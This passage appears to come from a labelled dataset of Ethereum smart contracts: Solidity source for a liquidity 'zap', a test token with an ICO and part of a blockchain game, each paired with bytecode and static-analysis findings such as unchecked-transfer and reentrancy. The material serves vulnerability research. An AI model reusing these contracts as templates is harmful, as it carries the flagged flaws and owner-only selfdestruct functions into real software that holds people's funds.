amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
contract BalancerZAP {
using SafeMath for uint256;
address public _token;
address public _balancerPool;
address public _tokenWETHPair;
IWETH public _WETH;
bool private initialized;
function initBalancerZAP(address token, address balancerPool, address WETH, address tokenWethPair) public {
require(!initialized);
_token = token;
_balancerPool = balancerPool;
require(IERC20(_token).approve(balancerPool, uint(-1)));
_WETH = IWETH(WETH);
_tokenWETHPair = tokenWethPair;
initialized = true;
}
fallback() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender);
}
}
receive() external payable {
if(msg.sender != address(_WETH)){
addLiquidityETHOnly(msg.sender);
}
}
function addLiquidityETHOnly(address payable to) public payable {
require(to != address(0), "Invalid address");
uint256 buyAmount = msg.value;
require(buyAmount > 0, "Insufficient ETH amount");
_WETH.deposit{value : msg.value}();
(uint256 reserveWeth, uint256 reserveTokens) = getPairReserves();
uint256 outTokens = UniswapV2Library.getAmountOut(buyAmount, reserveWeth, reserveTokens);
_WETH.transfer(_tokenWETHPair, buyAmount);
(address token0, address token1) = UniswapV2Library.sortTokens(address(_WETH), _token);
IUniswapV2Pair(_tokenWETHPair).swap(_token == token0 ? outTokens : 0, _token == token1 ? outTokens : 0, address(this), "");
_addLiquidity(outTokens, to);
}
function addLiquidityTokenOnly(uint256 tokenAmount, address payable to) public payable {
require(to != address(0), "Invalid address");
require(tokenAmount > 0, "Insufficient token amount");
require(IERC20(_token).transferFrom(msg.sender, address(this), tokenAmount));
_addLiquidity(tokenAmount, to);
}
function _addLiquidity(uint256 tokenAmount, address payable to) internal {
//mint BPTs
uint256 bptTokens = IBPool(_balancerPool).joinswapExternAmountIn( _token, tokenAmount, 0);
require(bptTokens > 0, "Insufficient BPT amount");
//transfer tokens to user
require(IBPool(_balancerPool).transfer(to, bptTokens));
}
function getPairReserves() internal view returns (uint256 wethReserves, uint256 tokenReserves) {
(address token0,) = UniswapV2Library.sortTokens(address(_WETH), _token);
(uint256 reserve0, uint reserve1,) = IUniswapV2Pair(_tokenWETHPair).getReserves();
(wethReserves, tokenReserves) = token0 == _token ? (reserve1, reserve0) : (reserve0, reserve1);
}
}
|
0x6080604052600436106100745760003560e01c806359204fed1161004e57806359204fed14610142578063c26974201461016e578063e0af361614610194578063ecd0c0c3146101a957610096565b806314b0818a146100b157806332ae7bc3146100e2578063358ae7d01461012d57610096565b36610096576003546001600160a01b0316331461009457610094336101be565b005b6003546001600160a01b0316331461009457610094336101be565b3480156100bd57600080fd5b506100c661045d565b604080516001600160a01b039092168252519081900360200190f35b3480156100ee57600080fd5b506100946004803603608081101561010557600080fd5b506001600160a01b03813581169160208101358216916040820135811691606001351661046c565b34801561013957600080fd5b506100c661056f565b6100946004803603604081101561015857600080fd5b50803590602001356001600160a01b031661057e565b6100946004803603602081101561018457600080fd5b50356001600160a01b03166101be565b3480156101a057600080fd5b506100c66106be565b3480156101b557600080fd5b506100c66106cd565b6001600160a01b03811661020b576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b348061025e576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742045544820616d6f756e74000000000000000000604482015290519081900360640190fd5b600360009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156102ae57600080fd5b505af11580156102c2573d6000803e3d6000fd5b50505050506000806102d26106dc565b9150915060006102e38484846107c9565b6003546002546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101899052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561033e57600080fd5b505af1158015610352573d6000803e3d6000fd5b505050506040513d602081101561036857600080fd5b5050600354600080549091829161038b916001600160a01b0390811691166108a1565b6002546000549294509092506001600160a01b039081169163022c0d9f918086169116146103ba5760006103bc565b845b6000546001600160a01b038581169116146103d85760006103da565b855b604080516001600160e01b031960e086901b1681526004810193909352602483019190915230604483015260806064830152600060848301819052905160c48084019382900301818387803b15801561043257600080fd5b505af1158015610446573d6000803e3d6000fd5b50505050610454838861097f565b50505050505050565b6002546001600160a01b031681565b600354600160a01b900460ff161561048357600080fd5b600080546001600160a01b038087166001600160a01b031992831617808455600180548884169416841790556040805163095ea7b360e01b8152600481019490945260001960248501525191169263095ea7b392604480820193602093909283900390910190829087803b1580156104fa57600080fd5b505af115801561050e573d6000803e3d6000fd5b505050506040513d602081101561052457600080fd5b505161052f57600080fd5b60038054600280546001600160a01b039485166001600160a01b03199182161790915560ff60a01b199390941693169290921716600160a01b1790555050565b6001546001600160a01b031681565b6001600160a01b0381166105cb576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015290519081900360640190fd5b60008211610620576040805162461bcd60e51b815260206004820152601960248201527f496e73756666696369656e7420746f6b656e20616d6f756e7400000000000000604482015290519081900360640190fd5b60008054604080516323b872dd60e01b81523360048201523060248201526044810186905290516001600160a01b03909216926323b872dd926064808401936020939083900390910190829087803b15801561067b57600080fd5b505af115801561068f573d6000803e3d6000fd5b505050506040513d60208110156106a557600080fd5b50516106b057600080fd5b6106ba828261097f565b5050565b6003546001600160a01b031681565b6000546001600160a01b031681565b600354600080549091829182916106ff916001600160a01b0391821691166108a1565b509050600080600260009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561075357600080fd5b505afa158015610767573d6000803e3d6000fd5b505050506040513d606081101561077d57600080fd5b5080516020909101516000546dffffffffffffffffffffffffffff9283169450911691506001600160a01b038481169116146107ba5781816107bd565b80825b90969095509350505050565b60008084116108095760405162461bcd60e51b815260040180806020018281038252602b815260200180610c1d602b913960400191505060405180910390fd5b6000831180156108195750600082115b6108545760405162461bcd60e51b8152600401808060200182810382526028815260200180610bd46028913960400191505060405180910390fd5b6000610862856103e5610af2565b905060006108708285610af2565b9050600061088a83610884886103e8610af2565b90610b54565b905080828161089557fe5b04979650505050505050565b600080826001600160a01b0316846001600160a01b031614156108f55760405162461bcd60e51b8152600401808060200182810382526025815260200180610baf6025913960400191505060405180910390fd5b826001600160a01b0316846001600160a01b031610610915578284610918565b83835b90925090506001600160a01b038216610978576040805162461bcd60e51b815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b6001546000805460408051635db3427760e01b81526001600160a01b0392831660048201526024810187905260448101849052905192939190911691635db342779160648082019260209290919082900301818787803b1580156109e257600080fd5b505af11580156109f6573d6000803e3d6000fd5b505050506040513d6020811015610a0c57600080fd5b5051905080610a62576040805162461bcd60e51b815260206004820152601760248201527f496e73756666696369656e742042505420616d6f756e74000000000000000000604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610ab857600080fd5b505af1158015610acc573d6000803e3d6000fd5b505050506040513d6020811015610ae257600080fd5b5051610aed57600080fd5b505050565b600082610b0157506000610b4e565b82820282848281610b0e57fe5b0414610b4b5760405162461bcd60e51b8152600401808060200182810382526021815260200180610bfc6021913960400191505060405180910390fd5b90505b92915050565b600082820183811015610b4b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe556e697377617056324c6962726172793a204944454e544943414c5f414444524553534553556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a26469706673582212203331a76305cce8f50a1351296a15e2ed1c95e1115d951ca671e520237ccee2d364736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 5,185 |
0x04a4b43352a78294bc7b6d520450825ac639ea21
|
pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract RajTest is owned {
// Public variables of the token
string public name = "RajTest";
string public symbol = "RT";
uint8 public decimals = 18;
uint256 public totalSupply = 0;
uint256 public buyPrice = 1045;
bool public released = false;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public crowdsaleAgent;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function RajTest() public {
}
modifier canTransfer() {
require(released);
_;
}
modifier onlyCrowdsaleAgent() {
require(msg.sender == crowdsaleAgent);
_;
}
function releaseTokenTransfer() public onlyCrowdsaleAgent {
released = true;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) canTransfer internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyCrowdsaleAgent public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newBuyPrice) onlyOwner public {
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value * buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @dev Set the contract that can call release and make the token transferable.
/// @param _crowdsaleAgent crowdsale contract address
function setCrowdsaleAgent(address _crowdsaleAgent) onlyOwner public {
crowdsaleAgent = _crowdsaleAgent;
}
}
contract Killable is owned {
function kill() onlyOwner {
selfdestruct(owner);
}
}
contract RajTestICO is owned, Killable {
/// The token we are selling
RajTest public token;
/// Current State Name
string public state = "Pre ICO";
/// the UNIX timestamp start date of the crowdsale
uint public startsAt = 1521648000;
/// the UNIX timestamp end date of the crowdsale
uint public endsAt = 1521666000;
/// the price of token
uint256 public TokenPerETH = 1045;
/// Tokens funding goal in wei, if the funding goal is reached, ico will stop
uint public MAX_GOAL_EBC = 30 * 10 ** 18;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint public tokensSold = 0;
/// the number of ETH raised through this contract
uint public weiRaised = 0;
/// How many distinct addresses have invested
uint public investorCount = 0;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// How much tokens this crowdsale has credited for each investor address
mapping (address => uint256) public tokenAmountOf;
/// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
/// Crowdsale end time has been changed
event EndsAtChanged(uint endsAt);
/// Calculated new price
event RateChanged(uint oldValue, uint newValue);
function RajTestICO(address _token) {
token = RajTest(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
require(tokensSold <= MAX_GOAL_EBC);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
tokenAmountOf[receiver] += tokensAmount;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Tell us invest was success
Invested(receiver, msg.value, tokensAmount);
token.mintToken(receiver, tokensAmount);
}
function buy() public payable {
investInternal(msg.sender);
}
function() payable {
buy();
}
function setEndsAt(uint time) onlyOwner {
require(!finalized);
require(time >= now);
endsAt = time;
EndsAtChanged(endsAt);
}
function setRate(uint value) onlyOwner {
require(!finalized);
require(value > 0);
RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize(address receiver) public onlyOwner {
require(endsAt < now);
// Finalized Pre ICO crowdsele.
finalized = true;
// Make tokens Transferable
token.releaseTokenTransfer();
// Transfer Fund to owner's address
receiver.transfer(this.balance);
}
}
|
0x606060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a09284a146101115780631aae34601461013a57806334fcf437146101875780633f52c660146101aa5780634042b66f146101d35780634056fe06146101fc57806341c0e1b5146102255780634ef39b751461023a578063518ab2a8146102735780636e50eb3f1461029c5780638da5cb5b146102bf57806397b150ca14610314578063a6f2ae3a14610361578063af4686821461036b578063b3f05b9714610394578063c19d93fb146103c1578063d7e64c001461044f578063f2fde38b14610478578063fc0c546a146104b1575b61010f610506565b005b341561011c57600080fd5b610124610511565b6040518082815260200191505060405180910390f35b341561014557600080fd5b610171600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610517565b6040518082815260200191505060405180910390f35b341561019257600080fd5b6101a8600480803590602001909190505061052f565b005b34156101b557600080fd5b6101bd610600565b6040518082815260200191505060405180910390f35b34156101de57600080fd5b6101e6610606565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61020f61060c565b6040518082815260200191505060405180910390f35b341561023057600080fd5b610238610612565b005b341561024557600080fd5b610271600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a7565b005b341561027e57600080fd5b61028661081c565b6040518082815260200191505060405180910390f35b34156102a757600080fd5b6102bd6004808035906020019091905050610822565b005b34156102ca57600080fd5b6102d26108eb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561031f57600080fd5b61034b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610910565b6040518082815260200191505060405180910390f35b610369610506565b005b341561037657600080fd5b61037e610928565b6040518082815260200191505060405180910390f35b341561039f57600080fd5b6103a761092e565b604051808215151515815260200191505060405180910390f35b34156103cc57600080fd5b6103d4610941565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045a57600080fd5b6104626109df565b6040518082815260200191505060405180910390f35b341561048357600080fd5b6104af600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109e5565b005b34156104bc57600080fd5b6104c4610a83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61050f33610aa9565b565b60045481565b600b6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561058a57600080fd5b600760009054906101000a900460ff161515156105a657600080fd5b6000811115156105b557600080fd5b7f4ac9052a820bf4f8c02d7588587cae835573b5b99ea7ad4ca002f17f319f718660055482604051808381526020018281526020019250505060405180910390a18060058190555050565b60055481565b60095481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561066d57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070257600080fd5b4260045410151561071257600080fd5b6001600760006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635f412d4f6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15156107b257600080fd5b5af115156107bf57600080fd5b5050508073ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561081957600080fd5b50565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561087d57600080fd5b600760009054906101000a900460ff1615151561089957600080fd5b4281101515156108a857600080fd5b806004819055507fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3106004546040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c6020528060005260406000206000915090505481565b60035481565b600760009054906101000a900460ff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109d75780601f106109ac576101008083540402835291602001916109d7565b820191906000526020600020905b8154815290600101906020018083116109ba57829003601f168201915b505050505081565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760009054906101000a900460ff16151515610ac757600080fd5b4260035411158015610ada575042600454115b1515610ae557600080fd5b60065460085411151515610af857600080fd5b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610b5357600a600081548092919060010191905055505b6005543402905034600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600860008282540192505081905550346009600082825401925050819055507f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c823483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379c6506883836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515610d4b57600080fd5b5af11515610d5857600080fd5b50505050505600a165627a7a72305820f1b80879081312182adc70f091ae76fe5004360c3ea60c5afb8af1836227aef80029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,186 |
0x3b8b9a4c77bd49ad9ead4093badb202910875a86
|
pragma solidity ^0.4.24;
/*
* CryptoMiningWar - Blockchain-based strategy game
* Author: InspiGames
* Website: https://cryptominingwar.github.io/
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
/**
* @dev Withdraw accumulated balance, called by payee.
*/
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(address(this).balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
payee.transfer(payment);
}
/**
* @dev Called by the payer to store the sent amount as credit to be pulled.
* @param dest The destination address of the funds.
* @param amount The amount to transfer.
*/
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract CryptoEngineerInterface {
uint256 public prizePool = 0;
function subVirus(address /*_addr*/, uint256 /*_value*/) public pure {}
function claimPrizePool(address /*_addr*/, uint256 /*_value*/) public pure {}
function fallback() public payable {}
function isEngineerContract() external pure returns(bool) {}
}
interface CryptoMiningWarInterface {
function addCrystal( address /*_addr*/, uint256 /*_value*/ ) external pure;
function subCrystal( address /*_addr*/, uint256 /*_value*/ ) external pure;
function isMiningWarContract() external pure returns(bool);
}
interface MiniGameInterface {
function isContractMiniGame() external pure returns( bool _isContractMiniGame );
}
contract CryptoBossWannaCry is PullPayment{
bool init = false;
address public administrator;
uint256 public bossRoundNumber;
uint256 public BOSS_HP_DEFAULT = 10000000;
uint256 public HALF_TIME_ATK_BOSS = 0;
// engineer game infomation
uint256 constant public VIRUS_MINING_PERIOD = 86400;
uint256 public BOSS_DEF_DEFFAULT = 0;
CryptoEngineerInterface public Engineer;
CryptoMiningWarInterface public MiningWar;
// player information
mapping(address => PlayerData) public players;
// boss information
mapping(uint256 => BossData) public bossData;
mapping(address => bool) public miniGames;
struct PlayerData {
uint256 currentBossRoundNumber;
uint256 lastBossRoundNumber;
uint256 win;
uint256 share;
uint256 dame;
uint256 nextTimeAtk;
}
struct BossData {
uint256 bossRoundNumber;
uint256 bossHp;
uint256 def;
uint256 prizePool;
address playerLastAtk;
uint256 totalDame;
bool ended;
}
event eventAttackBoss(
uint256 bossRoundNumber,
address playerAtk,
uint256 virusAtk,
uint256 dame,
uint256 totalDame,
uint256 timeAtk,
bool isLastHit,
uint256 crystalsReward
);
event eventEndAtkBoss(
uint256 bossRoundNumber,
address playerWin,
uint256 ethBonus,
uint256 bossHp,
uint256 prizePool
);
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
modifier isAdministrator()
{
require(msg.sender == administrator);
_;
}
constructor() public {
administrator = msg.sender;
// set interface contract
setMiningWarInterface(0x1b002cd1ba79dfad65e8abfbb3a97826e4960fe5);
setEngineerInterface(0xd7afbf5141a7f1d6b0473175f7a6b0a7954ed3d2);
}
function () public payable
{
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function isBossWannaCryContract() public pure returns(bool)
{
return true;
}
/**
* @dev Main Contract call this function to setup mini game.
*/
function setupMiniGame( uint256 /*_miningWarRoundNumber*/, uint256 /*_miningWarDeadline*/ ) public
{
}
//@dev use this function in case of bug
function upgrade(address addr) public isAdministrator
{
selfdestruct(addr);
}
// ---------------------------------------------------------------------------------------
// SET INTERFACE CONTRACT
// ---------------------------------------------------------------------------------------
function setMiningWarInterface(address _addr) public isAdministrator
{
CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr);
require(miningWarInterface.isMiningWarContract() == true);
MiningWar = miningWarInterface;
}
function setEngineerInterface(address _addr) public isAdministrator
{
CryptoEngineerInterface engineerInterface = CryptoEngineerInterface(_addr);
require(engineerInterface.isEngineerContract() == true);
Engineer = engineerInterface;
}
function setContractsMiniGame( address _addr ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _addr );
if( MiniGame.isContractMiniGame() == false ) { revert(); }
miniGames[_addr] = true;
}
function setBossRoundNumber(uint256 _value) public isAdministrator
{
bossRoundNumber = _value;
}
/**
* @dev remove mini game contract from main contract
* @param _addr mini game contract address
*/
function removeContractMiniGame(address _addr) public isAdministrator
{
miniGames[_addr] = false;
}
function startGame() public isAdministrator
{
require(init == false);
init = true;
bossData[bossRoundNumber].ended = true;
startNewBoss();
}
/**
* @dev set defence for boss
* @param _value number defence
*/
function setDefenceBoss(uint256 _value) public isAdministrator
{
BOSS_DEF_DEFFAULT = _value;
}
/**
* @dev set HP for boss
* @param _value number HP default
*/
function setBossHPDefault(uint256 _value) public isAdministrator
{
BOSS_HP_DEFAULT = _value;
}
function setHalfTimeAtkBoss(uint256 _value) public isAdministrator
{
HALF_TIME_ATK_BOSS = _value;
}
function startNewBoss() private
{
require(bossData[bossRoundNumber].ended == true);
bossRoundNumber = bossRoundNumber + 1;
uint256 bossHp = BOSS_HP_DEFAULT * bossRoundNumber;
// claim 5% of current prizePool as rewards.
uint256 engineerPrizePool = Engineer.prizePool();
uint256 prizePool = SafeMath.div(SafeMath.mul(engineerPrizePool, 5),100);
Engineer.claimPrizePool(address(this), prizePool);
bossData[bossRoundNumber] = BossData(bossRoundNumber, bossHp, BOSS_DEF_DEFFAULT, prizePool, 0x0, 0, false);
}
function endAtkBoss() private
{
require(bossData[bossRoundNumber].ended == false);
require(bossData[bossRoundNumber].totalDame >= bossData[bossRoundNumber].bossHp);
BossData storage b = bossData[bossRoundNumber];
b.ended = true;
// update eth bonus for player last hit
uint256 ethBonus = SafeMath.div( SafeMath.mul(b.prizePool, 5), 100 );
if (b.playerLastAtk != 0x0) {
PlayerData storage p = players[b.playerLastAtk];
p.win = p.win + ethBonus;
uint256 share = SafeMath.div(SafeMath.mul(SafeMath.mul(b.prizePool, 95), p.dame), SafeMath.mul(b.totalDame, 100));
ethBonus += share;
}
emit eventEndAtkBoss(bossRoundNumber, b.playerLastAtk, ethBonus, b.bossHp, b.prizePool);
startNewBoss();
}
/**
* @dev player atk the boss
* @param _value number virus for this attack boss
*/
